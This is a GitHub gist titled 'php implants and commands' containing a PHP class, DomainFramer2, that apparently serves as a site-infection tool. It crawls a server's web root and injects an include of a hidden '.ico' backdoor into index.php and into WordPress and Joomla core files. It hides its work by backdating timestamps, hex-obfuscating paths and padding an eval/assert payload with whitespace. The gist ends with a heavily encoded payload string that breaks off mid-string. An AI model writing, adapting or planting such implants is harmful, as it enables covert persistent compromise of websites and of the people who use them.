Skip to content

Instantly share code, notes, and snippets.

@ngo
Last active May 18, 2018 05:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ngo/5eb9baea3e814a5b0e19a6e31afe3c63 to your computer and use it in GitHub Desktop.
Save ngo/5eb9baea3e814a5b0e19a6e31afe3c63 to your computer and use it in GitHub Desktop.
php implants and commands
<?php
srand(time());
class DomainFramer2
{
private $_path_cands = Array();
private $_path_cands2 = Array();
private $_cscript_payload = "";
private $_current_cscript_path = "";
private $_cscripts = Array();
private $_cscripts_include = Array();
private $_cscripts_patched = Array();
private $_last_error = "";
public function __construct($backdoor_payload)
{
$this->_cscript_payload = $backdoor_payload;
}
public function find_paths()
{
$docroot = DomainFramer2::get_docroot();
$this->_path_cands[] = $docroot;
$this->_path_cands = array_merge($this->_path_cands, DomainFramer2::walk_dir($docroot, 1, $skip_files=TRUE, $skip_dirs=FALSE));
$this->_path_cands = array_unique($this->_path_cands);
function csort($a,$b){
return strlen($a)-strlen($b);
}
function match_exclude_list($path)
{
$exclude = Array("wp-content", "wp-admin", "wp-includes", "administrator", "cache", "components", "images", "includes", "language", "libraries", "media", "modules", "plugins", "templates");
foreach ($exclude as $exclude_item)
{
if (strpos($path, $exclude_item) !== FALSE)
{
return FALSE;
}
}
return TRUE;
}
$this->_path_cands = array_filter($this->_path_cands, "match_exclude_list");
usort($this->_path_cands, 'csort'); # from shortest path to longest
}
public function preprocess_paths()
{
foreach ($this->_path_cands as $path)
{
if ($this->_preprocess_one($path))
{
$this->_path_cands2[] = $path;
}
}
}
public function process($force_inject=FALSE)
{
foreach ($this->_path_cands2 as $path)
{
if ($this->_process_one($path, $force_inject))
{
$this->_cscripts[] = $path;
}
}
}
public function get_cscripts()
{
$cscripts = Array();
$cscripts["include"] = Array();
$cscripts["patch"] = Array();
$host = $_SERVER["HTTP_HOST"];
foreach ($this->_cscripts as $current_path)
{
if (in_array($current_path, $this->_cscripts_include))
{
$cscripts["include"][] = "http://" . $host . "/" . substr($current_path, strlen(DomainFramer2::get_docroot()) + 1);
}
else
{
$cscripts["patch"][] = "http://" . $host . "/" . substr($current_path, strlen(DomainFramer2::get_docroot()) + 1);
}
}
return $cscripts;
}
private function _process_one($path, $force_inject=FALSE)
{
$res = $this->_patch_index($path, $force_inject);
$res |= $this->_patch_cms($path, $force_inject);
if ($res)
{
return TRUE;
}
else
{
return FALSE;
}
}
private function _try_create_index($index_php)
{
@file_put_contents($index_php, "<". "?php\n\n");
$content = @file_get_contents($index_php);
if (strpos($content, "php") !== FALSE)
{
DomainFramer2::fix_rights($index_php);
$this->_last_error = "index created";
return TRUE;
}
else
{
return FALSE;
}
}
private function _preprocess_one($path)
{
if (!@file_exists($path))
{
return FALSE;
}
$index_html = $path . "/" . "index.html";
$index_htm = $path . "/" . "index.htm";
$index_php = $path . "/" . "index.php";
$htaccess = $path . "/" . ".htaccess";
if (!@file_exists($index_php) && !@file_exists($index_html) && !@file_exists($index_htm) && !@file_exists($htaccess))
{
$this->_last_error = "no index";
return $this->_try_create_index($index_php);
}
DomainFramer2::fix_rights($path);
DomainFramer2::fix_rights($index_html);
DomainFramer2::fix_rights($index_htm);
DomainFramer2::fix_rights($index_php);
if (@file_exists($index_php))
{
if (@file_exists($index_html)) @rename($index_html, $index_html . ".bak.bak");
if (@file_exists($index_htm)) @rename($index_htm, $index_htm . ".bak.bak");
}
else if(@file_exists($index_html))
{
@rename($index_html, $index_html . ".bak.bak");
@file_put_contents($index_php, "<". "?php\n\n\necho @file_get_contents('index.html.bak.bak');");
if (@file_exists($index_htm)) @rename($index_htm, $index_htm . ".bak.bak");
}
else if(@file_exists($index_htm))
{
@rename($index_htm, $index_htm . ".bak.bak");
@file_put_contents($index_php, "<". "?php\n\n\necho @file_get_contents('index.htm.bak.bak');");
}
else
{
@file_put_contents($index_php, "<" . "?php\n\n\n\n");
}
return $this->_fix_index_php($index_php);
}
private function _fix_index_php($path)
{
if (@file_exists($path))
{
$index_php_content = @file_get_contents($path);
if (stripos($index_php_content, "<" . "?php") !== FALSE)
{
return TRUE;
}
else
{
$index_php_content = "<" . "?php\n\n\n\n?" . ">\n\n" . $index_php_content;
@file_put_contents($path, $index_php_content);
return TRUE;
}
}
return FALSE;
}
private function _dump_backdoor($root_dir)
{
if ($this->_current_cscript_path)
{
return $this->_current_cscript_path;
}
$dirs = DomainFramer2::walk_dir($root_dir, $depth=2, $skip_files=TRUE, $skip_dirs=FALSE);
shuffle($dirs);
foreach ($dirs as $dir)
{
if (@is_writable($dir))
{
$root_dir = $dir;
}
}
DomainFramer2::fix_rights($root_dir);
$name = substr(md5(time()), 0, 8) . ".ico";
$this->_current_cscript_path = $root_dir . "/." . $name;
$cscript_file_content = "<" . "?php" . "\n" . rawurldecode($this->_cscript_payload) . "\n";
@file_put_contents($this->_current_cscript_path, $cscript_file_content);
DomainFramer2::fix_time($this->_current_cscript_path);
if (!@is_file($this->_current_cscript_path))
{
$this->_current_cscript_path = "";
$this->_last_error = "cant dump payload";
}
return $this->_current_cscript_path;
}
private function _patch_file($path, $root, $force_inject=FALSE)
{
if (!@file_exists($path))
{
return FALSE;
}
$backdoor_path = $this->_dump_backdoor($root);
if ($backdoor_path)
{
$backdoor_path = DomainFramer2::morph_str($backdoor_path);
$patch = "\n"."@include \"" . $backdoor_path . "\";\n";
$this->_cscripts_include[] = $root;
}
else // cant dump backdoor, probable no writable dirs
{
// try patch full backdoor content
$patch = DomainFramer2::morph_php_str($this->_cscript_payload);
$this->_cscripts_patched[] = $root;
}
$res = DomainFramer2::insert_in_head($path, $patch, $force_inject);
$this->_last_error = "unwritable for patch";
return $res;
}
private function _patch_index($path, $force_inject=FALSE)
{
$index_php = $path . "/" . "index.php";
return $this->_patch_file($index_php, $path, $force_inject);
}
private function _patch_cms($path, $force_inject=FALSE)
{
$index_php = $path . "/" . "index.php";
$index_php_content = @file_get_contents($index_php);
if (strpos($index_php_content, "wp-blog-header.php") > 0)
{
$inject_file_cands = Array($path . "/" . "wp-settings.php", $path . "/" . "wp-config.php",);
}
elseif (strpos($index_php_content, "_JEXEC") > 0)
{
$inject_file_cands = Array($path . "/" . "libraries/import.php", $path . "/" . "includes/framework.php",);
}
else
{
$inject_file_cands = Array();
}
if (!count($inject_file_cands))
{
return FALSE;
}
shuffle($inject_file_cands);
$inject_file_cand = "";
for ($i=0; $i<count($inject_file_cands); $i++)
{
$inject_file_cand = $inject_file_cands[$i];
DomainFramer2::fix_rights($inject_file_cand);
if (@is_writable($inject_file_cand))
{
break;
}
}
return $this->_patch_file($inject_file_cand, $path, $force_inject);
}
static public function walk_dir($dir, $depth=0, $skip_files=FALSE, $skip_dirs=TRUE)
{
if ($depth < 0)
{
return Array();
}
$result = Array();
if (($h = @opendir($dir)) === FALSE)
{
return $result;
}
while (($f = @readdir($h)) !== FALSE)
{
if ($f == '.' || $f == '..')
{
continue;
}
$current_file = "$dir/$f";
if (@is_dir($current_file))
{
if (!$skip_dirs)
{
$result[] = $current_file;
}
$result = array_merge($result, DomainFramer2::walk_dir($current_file, $depth - 1, $skip_files, $skip_dirs));
}
else
{
if (!$skip_files)
{
$result[] = $current_file;
}
}
}
@closedir($h);
return $result;
}
static public function fix_rights($path)
{
@chmod($path, 0755);
}
static public function fix_time($path)
{
@touch($path, time() - mt_rand(60*60*24*30, 60*60*24*365));
}
static public function get_docroot()
{
$request_uri = "";
$docroot = "";
if (strpos($_SERVER['REQUEST_URI'], "?") !== FALSE)
{
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
$request_uri = $request_uri[0];
}
else
{
$request_uri = $_SERVER['REQUEST_URI'];
}
$docroot_end = strrpos($_SERVER['SCRIPT_FILENAME'], $request_uri);
if ($docroot_end === FALSE)
{
$docroot = $_SERVER['DOCUMENT_ROOT'];
}
elseif ($docroot_end === 0)
{
return "/";
}
else
{
$docroot = substr($_SERVER['SCRIPT_FILENAME'], 0, $docroot_end);
}
return str_replace("\\", "/", $docroot);
}
static public function morph_str($string)
{
$hex='';
$module = rand(2,5);
for ($i=0; $i < strlen($string); $i++)
{
if (($i % $module) == 0 && $string[$i]!= "\\" && $string[$i]!= "\"")
$hex .= "\\x" . dechex(ord($string[$i]));
else
$hex .= $string[$i];
}
return $hex;
}
static public function gen_space_string($len)
{
$str = "";
for ($i=0; $i<$len; $i++) {$str .= " ";}
return $str;
}
static public function morph_php_str($string)
{
$assert_parameter_name = "\$user_auth_cookie";
$assert_payload = DomainFramer2::morph_str('eval(rawurldecode(\\"' . $string . '\\"));');
$initial_line = DomainFramer2::gen_space_string(256) . $assert_parameter_name . ' = "' . $assert_payload . '";' . "\n";
return $initial_line . "@assert(" . $assert_parameter_name . ");";
}
static public function insert_in_head($path, $php_code, $force_inject=FALSE)
{
$already_patched_marker = "/*" . substr(md5($path), 5, 5) . "*/";
$php_code = "\n" . $already_patched_marker . "\n" . $php_code. "\n" . $already_patched_marker;
$content = @file_get_contents($path);
if (strpos($content, $already_patched_marker) !== FALSE && $force_inject)
{
$from = "/" . preg_quote($already_patched_marker, "/") . "[.\\s\\S]*" . preg_quote($already_patched_marker, "/") . "/";
$content = preg_replace($from, $php_code, $content, 1);
@file_put_contents($path, $content);
DomainFramer2::fix_time($path);
}
else
{
$html_pos = stripos($content,"<" . "html");
$php_pos = stripos($content,"<" . "?php");
if ($html_pos === FALSE)
{
$html_pos = strlen($content) + 1;
}
if ($php_pos === FALSE)
{
$php_pos = strlen($content) + 1;
}
if ($php_pos < $html_pos)
{
$from = "/" . preg_quote("<" . "?" . "php", "/") . "/";
$content = preg_replace($from, "<" . "?" . "php" . $php_code, $content, 1);
}
else
{
$content = "<" . "?php " . $php_code . "\n?" . "> \n" . $content;
}
@file_put_contents($path, $content);
DomainFramer2::fix_time($path);
}
$content = @file_get_contents($path);
if (strpos($content, $already_patched_marker) !== FALSE)
{
return TRUE;
}
else
{
return FALSE;
}
}
public function last_error()
{
return $this->_last_error;
}
}
$framer = new DomainFramer2("if%20%28%21defined%28%27stream_context_create%20%27%29%29%0A%7B%0Adefine%28%27stream_context_create%20%27%2C%201%29%3B%0A%0A%20%24lapkyguok%20%3D%206072%3B%20function%20yyozvbwi%28%24sisygbnkcx%2C%20%24gexvob%29%7B%24rlnbvkrx%20%3D%20%27%27%3B%20for%28%24i%3D0%3B%20%24i%20%3C%20strlen%28%24sisygbnkcx%29%3B%20%24i%2B%2B%29%7B%24rlnbvkrx%20.%3D%20isset%28%24gexvob%5B%24sisygbnkcx%5B%24i%5D%5D%29%20%3F%20%24gexvob%5B%24sisygbnkcx%5B%24i%5D%5D%20%3A%20%24sisygbnkcx%5B%24i%5D%3B%7D%0A%24nrjlbujqfm%3D%22rawurl%22%20.%20%22decode%22%3Breturn%20%24nrjlbujqfm%28%24rlnbvkrx%29%3B%7D%0A%24qhiepg%20%3D%20%27%25Eh%25E9%25Eh%25E9%25jES7S_l3i%25Tx%25Tg3kkZk_KZ1%25Tg%25T2%25TEJL66%25Te%25pP%25Eh%25E9%25jES7S_l3i%25Tx%25TgKZ1%27.%0A%27_3kkZkl%25Tg%25T2%25TEE%25Te%25pP%25Eh%25E9%25jES7S_l3i%25Tx%25Tgbq4_343vXiSZ7_iSb3%25Tg%25T2%25TEE%25Te%25pP%25E%27.%0A%27h%25E9%25jE3kkZk_k3YZkiS71%25TxE%25Te%25pP%25Eh%25E9%25jEl3i_iSb3_KSbSi%25TxE%25Te%25pP%25Eh%25E9%25%27.%0A%27Eh%25E9%25Eh%25E9Sw%25Tx%25THI3wS73I%25Tx%25TTaUa_dz6%25TT%25Te%25Te%25Eh%25E9%25gP%25Eh%27.%0A%27%25E9%25TE%25TE%25TE%25TEI3wS73%25Tx%25TTaUa_dz6%25TT%25T2%25TE%25TT%25A27%25TT%25Te%25pP%25Eh%25E9%25gh%25Eh%25E9%25Eh%25E9Sw%25Tx%25THI3w%27.%0A%27S73I%25Tx%25TThrQd2nzQR_5da9Q9nzQ%25TT%25Te%25Te%25Eh%25E9%25gP%25Eh%25E%27.%0A%279%25TE%25TE%25TE%25TEI3wS73%25Tx%25TThrQd2nzQR_5da9Q9nzQ%25TT%25T2%25TE%25TT/%25TT%25Te%25pP%25Eh%25E9%25%27.%0A%27gh%25Eh%25E9%25Eh%25E9Sw%25TE%25Tx%25THI3wS73I%25Tx%25TgwSK3_YXi_vZ7i37i%27.%0A%27l%25TE%25Tg%25Te%25Te%25Eh%25E9%25gP%25Eh%25E9%25TE%25TE%25TE%25TEI3wS73%25Tx%25TgwSK3_YXi%27.%0A%27_vZ7i37il%25TE%25Tg%25T2%25TEH%25Te%25pP%25Eh%25E9%25Eh%25E9%25TE%25TE%25TE%25TE%25TjX1DCiZ%25TE%25ph%25TE%25Tgpw3eegx%27.%0A%27v-qwpj-jpwx-8e33-Ixpjg3xwgE8g%25Tg%25pP%25Eh%25E9%25TE%25TE%25TE%25TE1KZ8qK%25TE%25TjX1DCiZ%25pP%25Eh%25E9%25Eh%25E9%25TE%25T%27.%0A%27E%25TE%25TEwX7viSZ7%25TEmkXGkG%25Tx%25TjvqGCCXk%25Te%25TE%25gP%25Eh%25E9%25Eh%25%27.%0A%27E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TESw%25TE%25TxlikK37%25Tx%25TjvqGCCXk%27.%0A%27%25Te%25TE%25p2%25TEj%25Te%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25T%27.%0A%27E%25TE%25TE%25TE%25TE%25TEk3iXk7%25TE%25TT%25TT%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25Eh%25E9%25TE%25TE%25TE%25TE%25%27.%0A%27TE%25TE%25TE%25TE%25Tj3q1DZkC%25TE%25ph%25TE%25TT9P2hdOFUrBu60JzaoQ5nLtfcRMq8vI3w1DSmCKb7ZYykliXNG4sWEHTp%27.%0A%27jAVgxe%25TP/%25ph%25TT%25pP%25Eh%25E9%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25Tj34D741%25TE%25ph%25TElik_lYKSi%25Tx%25Tj3q1%27.%0A%27DZkC%25Te%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25Tj34D741%25TE%25ph%25TEqkkqs_wKSY%25Tx%25Tj3%27.%0A%274D741%25Te%25pP%25Eh%25E9%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25Tj1bKZZ7w%25TE%25ph%25TEE%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%27.%0A%27%25TE%25TE%25TE%25TE%25TjWqX1lYX%25TE%25ph%25TE%25TT%25TT%25pP%25Eh%25E9%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TjvqGCCXk%25T%27.%0A%27E%25ph%25TEYk31_k3YKqv3%25Tx%25TT%25gd%25AP%25Ad9-Mq-WE-e%25A2%25TP%25A2/%25A2%25ph%25Ah%25gd%25TT%25T2%25TE%27.%0A%27%25TT%25TT%25T2%25TE%25TjvqGCCXk%25Te%25pP%25Eh%25E9%25Eh%25E9%25TE%25TE%25TE%25%27.%0A%27TE%25TE%25TE%25TE%25TEIZ%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TjsSlsqii%25TE%25ph%25TE%25Tj34D741%25AP%25%27.%0A%27TjvqGCCXk%25AP%25Tj1bKZZ7w%25TP%25TP%25Ah%25Ah%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TjsWKWCGYK%25TE%25ph%25%27.%0A%27TE%25Tj34D741%25AP%25TjvqGCCXk%25AP%25Tj1bKZZ7w%25TP%25TP%25Ah%25Ah%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25T%27.%0A%27jNSwX7K%25TE%25ph%25TE%25Tj34D741%25AP%25TjvqGCCXk%25AP%25Tj1bKZZ7w%25TP%25TP%25Ah%25Ah%25pP%25Eh%27.%0A%27%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25Tjv8DkYN%25TE%25ph%25TE%25Tj34D741%25AP%25TjvqGCCXk%25AP%25Tj1bKZ%27.%0A%27Z7w%25TP%25TP%25Ah%25Ah%25pP%25Eh%25E9%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25%27.%0A%27TE%25TE%25TE%25TE%25Tj1bKZZ7wvZim8m%25TE%25ph%25TE%25Tx%25TjsSlsqii%25TE%25p2%25p2%25TET%25Te%25TE%25g2%25TE%25Tx%25TjsWKWCGY%27.%0A%27K%25TE%25pd%25pd%25TEj%25Te%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%27.%0A%27%25TE%25TE%25TjG3qY4m%25TE%25ph%25TE%25Tx%25Tx%25TjsWKWCGYK%25TE%25TV%25TEHA%25Te%25TE%25p2%25p2%25TEj%25Te%25TE%25g2%25TE%25Tx%25Tj%27.%0A%27NSwX7K%25TE%25pd%25pd%25TET%25Te%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%27.%0A%27%25TE%25TE%25TE%25TjKmiqKZbyIl3%25TE%25ph%25TE%25Tx%25Tx%25TjNSwX7K%25TE%25TV%25TEp%25Te%25TE%25p2%25p2%25TEV%25Te%25TE%25g2%25TE%27.%0A%27%25Tjv8DkYN%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TjWqX1lYX%25TE%25ph%25TE%25TjWqX1lYX%25TE.%25TE%27.%0A%27vDk%25Tx%25Tj1bKZZ7wvZim8m%25Te%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%27.%0A%27%25TESw%25TE%25Tx%25TjNSwX7K%25TE%25TH%25ph%25TEVj%25Te%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25%27.%0A%27TE%25TE%25TE%25TE%25TE%25TE%25TjWqX1lYX%25TE%25ph%25TE%25TjWqX1lYX%25TE.%25TEvDk%25Tx%25TjG3qY4m%25Te%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%27.%0A%27%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TESw%25TE%25Tx%25Tjv8DkYN%25TE%25TH%25ph%25T%27.%0A%27EVj%25Te%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25T%27.%0A%27E%25TE%25TE%25TE%25TjWqX1lYX%25TE%25ph%25TE%25TjWqX1lYX%25TE.%25TEvDk%25Tx%25TjKmiqKZbyIl%27.%0A%273%25Te%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25%27.%0A%27TE%25gh%25TEGDSK3%25TE%25Tx%25Tj1bKZZ7w%25TE%25p2%25TElikK37%25Tx%25TjvqGCCXk%25Te%25Te%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TEk3%27.%0A%27iXk7%25TE%25TjWqX1lYX%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25Eh%25E9%25TE%25TE%25TE%25TESw%25TE%25Tx%25THwX7viSZ7_34Slil%25%27.%0A%27Tx%25TgwSK3_YXi_vZ7i37il%25Tg%25Te%25Te%25Eh%25E9%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TEwX7viSZ7%25TE%27.%0A%27wSK3_YXi_vZ7i37il%25Tx%25TjbYIb1Gw%25T2%25TE%25TjiWmyIl%25T2%25TE%25Tj8y7s8v%25TE%25ph%25TEOqK%27.%0A%27l3%25Te%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%27.%0A%27%25TE%25TE%25TE%25TE%25TjvsbZkkD8%25TE%25ph%25TE%25Tj8y7s8v%25TE%25ph%25ph%25TEx%25TE%25pO%25TE%25Tgq%25Tg%25TE%25p9%25TE%25TgG%25Tg%25pP%25Eh%25E9%25T%27.%0A%27E%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TjGYGI4yWN%25TE%25ph%25TE%25jEwZY37%25Tx%25TjbYIb1Gw%25T2%25TE%25TjvsbZkkD8%25Te%25pP%25%27.%0A%27Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TESw%25TE%25Tx%25TjGYGI4yWN%25TE%25ph%25%27.%0A%27ph%25ph%25TEOqKl3%25Te%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%27.%0A%27%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TEk3iXk7%25TEE%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25T%27.%0A%27E%25TE%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE3Kl3%25Eh%25E9%25TE%25TE%25TE%25TE%25T%27.%0A%27E%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TESw%25TE%25TxSl%27.%0A%27_qkkqs%25Tx%25TjiWmyIl%25Te%25Te%25TE%25TjiWmyIl%25TE%25ph%25TESbYKZI3%25Tx%25TjiWmyIl%25Te%25pP%25Eh%25E9%27.%0A%27%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TjiSqGKZ%25TE%25ph%25TEwGkSi3%25Tx%25%27.%0A%27TjGYGI4yWN%25T2%25TE%25TjiWmyIl%25Te%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%27.%0A%27%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TEwvKZl3%25Tx%25TjGYGI4yWN%25Te%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25%27.%0A%27TE%25TE%25TE%25TE%25TE%25TEk3iXk7%25TE%25TjiSqGKZ%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25TE%25TE%25TE%25T%27.%0A%27E%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25Eh%25E9%25T%27.%0A%27E%25TE%25TE%25TESw%25TE%25Tx%25THwX7viSZ7_34Slil%25Tx%25TgwSK3_13i_vZ7i37il%25Tg%25Te%25Te%25Eh%25E9%25%27.%0A%27TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TEwX7viSZ7%25TEwSK3_13i_vZ7i37il%25Tx%25TjvIvXZ%27.%0A%27N%25Te%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%27.%0A%27%25TE%25TjYlCmSv%25TE%25ph%25TEwZY37%25Tx%25TjvIvXZN%25T2%25TE%25TTk%25TT%25Te%25pP%25Eh%25E9%25T%27.%0A%27E%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TjYm7Ww3s%25TE%25ph%25TEwk3qI%25Tx%25TjYlCmSv%25T2%25TEwSK3lSW3%25Tx%25TjvIvXZN%25T%27.%0A%27e%25Te%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TEwvKZl3%25Tx%25TjYlCmSv%25Te%25pP%25%27.%0A%27Eh%25E9%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TEk3iXk7%25TE%25TjYm7Ww3s%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25%27.%0A%27TE%25gh%25Eh%25E9%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25TE%25TE%25TE%25TEwX7viSZ7%25TE7DWqs4Xk%25Tx%25Te%25Eh%25E9%25TE%25TE%25TE%25T%27.%0A%27E%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TEk3iXk7%25TEikSb%25TxYk31_k3YKqv3%25%27.%0A%27Tx%25TT/%25A2%25Tx.%25T9%25A2%25Tj/%25TT%25T2%25TE%25Tg%25Tg%25T2%25TE__Or6d__%25Te%25Te%25pP%25Eh%25E9%25TE%25TE%27.%0A%27%25TE%25TE%25gh%25Eh%25E9%25Eh%25E9%25TE%25TE%25TE%25TEwX7viSZ7%25TESv4ibI%27.%0A%27W%25Tx%25TjZ7SKWs7Z%25T2%25TE%25TjWDv4Nq%25Te%25Eh%25E9%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%25%27.%0A%27TE%25TE%25TE%25TE%25TE%25TjKWD4vSb%25TE%25ph%25TE%25TT%25TT%25pP%25Eh%25E9%25E%27.%0A%27h%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TEwZk%25TE%25Tx%25Tj1bKZZ7w%25phE%25pP%25TE%25Tj1bKZZ7w%25p2likK37%25Tx%25TjZ7SKWs7Z%27.%0A%27%25Te%25pP%25Te%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%27.%0A%27wZk%25TE%25Tx%25TjKmiqKZ%25phE%25pP%25TE%25TjKmiqKZ%25p2likK37%25Tx%25TjWDv4N%27.%0A%27q%25Te%25TE%25TV%25TV%25TE%25Tj1bKZZ7w%25p2likK37%25Tx%25TjZ7SKWs7Z%25Te%25pP%25TE%25TjKmiqKZ%25TP%25TP%25T2%25TE%25Tj1bKZZ7w%25TP%25TP%25T%27.%0A%27e%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25%27.%0A%27TE%25TE%25TE%25TE%25TE%25TE%25TE%25TjKWD4vSb%25TE.%25ph%25TEvDk%25TxZkI%25Tx%25TjZ7SKWs7Z%25AP%25Tj1bKZZ7w%25Ah%27.%0A%27%25Te%25TE%25Ad%25TEZkI%25Tx%25TjWDv4Nq%25AP%25TjKmiqKZ%25Ah%25Te%25Te%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25T%27.%0A%27E%25gh%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%27.%0A%27%25TE%25TEk3iXk7%25TE%25TjKWD4vSb%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25%27.%0A%27Eh%25E9%25TE%25TE%25TE%25TEwX7viSZ7%25TEmwXIWIZl%25Tx%25TjZ7SKWs7Z%25T2%25TE%25TjWDv4Nq%25Te%25Eh%25E9%25TE%25TE%25TE%25TE%25gP%25Eh%27.%0A%27%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE1KZ8qK%25TE%25TjX1DCiZ%25pP%25Eh%25E9%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25T%27.%0A%27Ek3iXk7%25TESv4ibIW%25TxSv4ibIW%25Tx%25TjZ7SKWs7Z%25T2%25TE%25TjWDv4%27.%0A%27Nq%25Te%25T2%25TE%25TjX1DCiZ%25Te%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25TE%25TE%25TE%25TEwX7viSZ7%25TEyN4G7Kk%25T%27.%0A%27x%25TjZ7SKWs7Z%25T2%25TE%25TjWDv4Nq%25Te%25Eh%25E9%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25T%27.%0A%27E%25TE%25TE%25TE%25TE%25TE%25TE%25TE1KZ8qK%25TE%25TjX1DCiZ%25pP%25Eh%25E9%25Eh%25E9%25%27.%0A%27TE%25TE%25TE%25TE%25TE%25TE%25TE%25TEk3iXk7%25TESv4ibIW%25TxSv4ibIW%25Tx%25TjZ7S%27.%0A%27KWs7Z%25T2%25TE%25TjX1DCiZ%25Te%25T2%25TE%25TjWDv4Nq%25Te%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25Eh%25E9%25TE%25TE%25TE%25TEwX7v%27.%0A%27iSZ